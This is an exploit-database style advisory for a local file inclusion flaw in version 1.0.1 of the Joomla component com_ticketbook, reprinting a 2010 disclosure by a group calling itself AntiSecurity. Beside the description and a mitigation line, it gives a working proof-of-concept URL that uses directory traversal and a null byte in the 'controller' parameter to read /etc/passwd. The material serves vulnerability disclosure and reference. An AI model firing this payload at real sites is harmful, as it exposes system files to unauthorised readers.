Joomla Component Ticketbook Local File Inclusion Vulnerability

vendor:

com_ticketbook

by:

AntiSecurity

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: com_ticketbook

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:demo-page.de:com_ticketbook:1.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla Component Ticketbook Local File Inclusion Vulnerability

A local file inclusion vulnerability exists in the com_ticketbook version 1.0.1 component for Joomla. An attacker can exploit this vulnerability to include arbitrary local files on the vulnerable system. This is done by sending a specially crafted HTTP request to the vulnerable system, which contains directory traversal characters followed by the file name of the file to be included. This can be exploited to disclose sensitive information, such as the /etc/passwd file.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

================================================================================================================


  [o] Joomla Component Ticketbook Local File Inclusion Vulnerability
 
       Software : com_ticketbook version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_ticketbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_ticketbook&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia